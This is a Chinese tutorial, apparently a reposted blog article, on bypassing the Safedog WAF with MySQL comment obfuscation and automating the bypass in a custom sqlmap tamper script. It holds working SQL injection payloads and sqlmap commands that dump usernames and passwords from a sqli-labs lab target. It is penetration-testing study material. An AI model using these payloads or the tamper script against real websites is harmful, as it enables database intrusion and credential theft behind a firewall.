手把手教你编写SQLMap的Tamper脚本过狗

news2024/11/26 18:26:58

本文仅用于技术讨论与学习

测试环境

最新版某狗

测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆

一招鲜吃遍天

注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%

这里再解释一下内联注释,因为后面要用到:

MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行

但是如果!后面跟着MySQL版本号,那么就会出现两种情况

  • • 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行

  • • 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。

数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

!后面接小于50553的:

执行了select 1;

!后面接大于等于50553的:

执行了 select ;

下面进入正题

bypass

and

and 1=1

但是把空格删掉就不拦了

所以,我们认为,and后面不能直接跟空格...

那么如果用其他形式表示空格呢?

前面说了,我们这次只使用注释混淆:

burp,抓包设置

长度5335是被拦截的

长度为899的说明成功绕过

我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*

即: ->/*/*%**/

同理 ,or是一样的:

order by

测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:

union select

union select使用之前的垃圾字符替换空格发现不行了:

但是先不急于换方法,再爆破一遍试试:

image-20221117231524071

发现又有很多可以绕过的了。

所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/

即: ->/*/!%!/*/

获得当前数据库

正常语句:

?id=-1 union select 1,database(),3 --+

绕过:

即:()->(/*/!%!/*/)

获取数据库中的表

正常语句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image-20221117234536391

绕过:

经过测试发现拦截的是select + from + information_schema的组合

中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。

information_schema进行混淆测试:

首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。

考虑是检测了select + from + /*! + information_schema的组合

加个换行试试

还是不行...

那既然都换行了,那我们再在换行前加一些垃圾字符:

如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/#--+

但是经过测试只有 --+好用

有这么多可以绕过的,我们随便选择一个,比如/*%/

这样,最终语句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

获取表字段

正常语句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

绕过语句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

获取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

成功。

编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:

网上有很多相关脚本的介绍,我就不一一介绍了。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。

我们随便打开一个Tamper脚本看一下它的结构:

#apostrophemask.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST

# 对当前脚本的介绍
def dependencies():
    pass

'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload

可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。

下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:

实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好

#!/usr/bin/env python

import re

from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","/*/!%!/*/")
        payload = payload.replace("()","(/*/!%!/*/)")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        

    return payload

测试:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/460687.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于Vue中使用全屏容器无法占满屏幕以及样式不生效问题解决方案

先来看示例问题 App.vue文件 global.css文件 网页效果 可以看到即使设置了宽度和高度为100%都无法占满屏幕,而且容器还超出了屏幕,上拉才可以看到下边框。查看网上解决方法: 1.height设置为100vh, 或者设置为calc(10…

订单交期迟滞,销售回应慢,怎么解决客户问题?

按客户定制产品订单,进行报价和生产的制造企业,有拆解图纸生成物料BOM的工序,通常由企业产品设计部门的拆图员岗位专门负责。 手工制作BOM数据,准确性低 拆图员肉眼查看每页图纸中的表格数据,手动敲键盘填入到企业要…

判空、基本数据类型、stream的groupby、空指针异常

0什么是序列化 1 第一行、第二行就是一个空对象【一个对象的所有元素的值都为null–空对象】 第三行不是空对象,是元素为的对象 那么如何过滤第一行与第二行呢 方式一:在mysql里面 where ISNULL(t.relevance_id)0 and LENGTH(trim(t.relevance_id))&…

Docker Harbor | 私有仓库 | 用户登录 |用户创建

Docker Harbor | 私有仓库 |用户登录 |用户创建 一、Docker Harbor 概述二、Harbor 的核心组件四、Harbor 构建 Docker 私有仓库实战4.1 搭建本地私有仓库4.2 部署 Docker-Compose 服务4.3 启动harbor验证4.4 在其他客户端上传镜像4.5 维护管理Harbor 一、Docker Harbor 概述 …

【校招VIP】面试了一个抽奖的项目,我终于搞明白了,是8股文终于开始作恶了

最近因为招实习生,进行了很多次面试。 但面试的结果不尽人意。 就感觉今年的面试跟以前差距太大了。 直到经过这个同学的面试,我终于明白了是什么原因。 这个同学是南京一所211的研究生,他的项目经历是做了一个抽奖的微服务管理平台。 也…

JAVA 类型的类型转换

JAVA 类型的类型转换 一、基本类型的类型转换 箭头开始的地方是小类型,箭头指向的地方是大类型 我们此处所指的"大"和"小",指的是对应类型的取值范围,不是字节数哦 1.1 小到大(隐式转换) byte m 120; int n m;//小转大,右面的m是小类型,给左面的n大…

【微服务笔记21】微服务组件之Sentinel服务熔断、服务降级、流量控制介绍

这篇文章,主要介绍微服务组件之Sentinel服务熔断、服务降级、流量控制。 目录 一、Sentinel组件 1.1、Sentinel介绍 1.2、Sentinel环境搭建 (1)引入依赖 (2)资源和规则 1.3、使用SphU定义资源 (1&am…

LNMP网站框架搭建

1. Nginx的工作原理 php-fpm.conf 是控制php-fpm守护进程的 php.ini是php解析器 工作进程: 1.客户端通过域名进行请求访问时,会找Nginx对应的虚拟主机 2. Nginx对该请求进行判断,如果是静态请求,Nginx会自行处理,并将处理结果返…

微信小程序原生开发功能合集十三:列表界面的实现

本章实现列表展示组件,包括列表数据加载、筛选、分页加载、快速搜索等功能。   另外还提供小程序开发基础知识讲解课程,包括小程序开发基础知识、组件封装、常用接口组件使用及常用功能实现等内容,具体如下:    1. CSDN课程: https://edu.csdn.net/course/detail/379…

提交代码「前置处理」,向前一小步,效率提升「亿点点」

💡 如何巧用 Git Hook,解决代码提交中的代码规范性、冲突和错误以及工作流程问题? 近日,在极狐Tech Talk 直播上,极狐(GitLab) 后端工程师田鲁分享了自己的实践经验。以下内容整理自本次直播,你也可以点击文…

Linux第二章

文章目录 前言一、Linux系统的目录结构和路径表达形式二、Linux命令基础1.ls命令入门2.ls命令的参数和选项3.-cd-pwd命令4.相对路径绝对路径和特殊路径符5.-mkdir命令6.-touch-cat-more-命令7.-cp-mv-rm-命令8.-which-find命令9.-grep-wc-管道符10.-echo-tail-重定向符11.-vi编…

Spring Boot自动装配

目录 是什么? 自动装配的原理 进入SpringBootApplication注解 点击进入EnableAutoConfiguration注解 AutoConfigurationImportSelector(核心) 点进getAutoConfigurationEntry()方法: 点进getCandidateConfigurations() 流程图 是什么&…

远程支持软件:轻松解决电脑问题!

远程协助不工作 当我们提到Windows的远程支持软件时,许多人的第一个想法可能是Windows远程协助。它可以通过发送和接收邀请文件连接两台电脑,然后您可以远程修复另一台电脑上的问题。但是,有时,您会遇到诸如“远程协助无法连接…

【FFTW库】编译生成 x86、arm 环境下的FFTW库

FFTW是一个快速计算离散傅里叶变换的标准C语言程序集,可计算一维或多维实和复数据以及任意规模的DFT。下面主要介绍的是 x86 环境下 FFTW库的编译过程,arm环境下的编译过程和FFTW类似,不同之处在于需要手动指定 编译环境 和 编译器。 FFTW有…

十大常见的电子元器件

电子元器件是电子技术中的基础组成部分,是电子电路的基本构件。电子元器件的种类繁多,但其中一些元器件的应用非常广泛,被称为十大最常用电子元器件。本文将介绍这些元器件的基础知识。 一、电阻器 电阻器是一种用来阻碍电流流动的元器件&a…

改善内部客户服务的 3 个技巧

在当今世界,许多公司都专注于改善客户关系管理,公司管理层面临的挑战是他们不仅拥有外部客户,员工也是有痛点和需求的内部客户。正如糟糕的客户服务会导致客户流失一样,糟糕的内部客户服务会增加员工流动率。在当今瞬息万变的就业…

C++98 auto_ptr智能指针

auto_ptr 是C98定义的智能指针模板,其定义了管理指针的对象,可以将new获得(直接或间接)的地址赋给这种对象.当对象过期时,其析构函数将使用delete来释放内存! 用法: 头文件: #include<memory> 用法: auto_ptr <类型> 变量名(new 类型); #include<iostream> …

算力为基,生态谋远,英特尔商用客户端的三重创新进化

“混合办公”仍旧是2023年全球企业IT管理者与“打工人”共同关注的热点话题。 比如根据携程最新公布的数据&#xff0c;过去一年内有超过66%的员工申请了混合办公对比试运行阶段&#xff0c;管理者对混合办公的支持率提升了10%。超九成管理者认为混合办公对效率无影响。调研数…

gpt人工智能模型原理-GPT的特点和基本原理

gpt训练模型 GPT&#xff08;Generative Pre-trained Transformer&#xff09;是指一类以Transformer网络为基础的语言模型&#xff0c;可以用于自然语言生成、问答、文本分类等多个NLP任务。GPT的训练是基于预训练&#xff08;pre-training&#xff09;的方式进行的&#xff…

Java中读取用户输入的是谁?Scanner类

目录 前言一、Scanner类二、Scanner类基本使用1. 基本使用2. nextLine()方法 前言 我们在初学 Java 编程的时候&#xff0c;总是感觉很枯燥乏味&#xff0c;想着做点可以交互的小系统&#xff0c;可以让用户自由输入&#xff0c;系统可以接收做出反映。这就要介绍一下 Java 中的…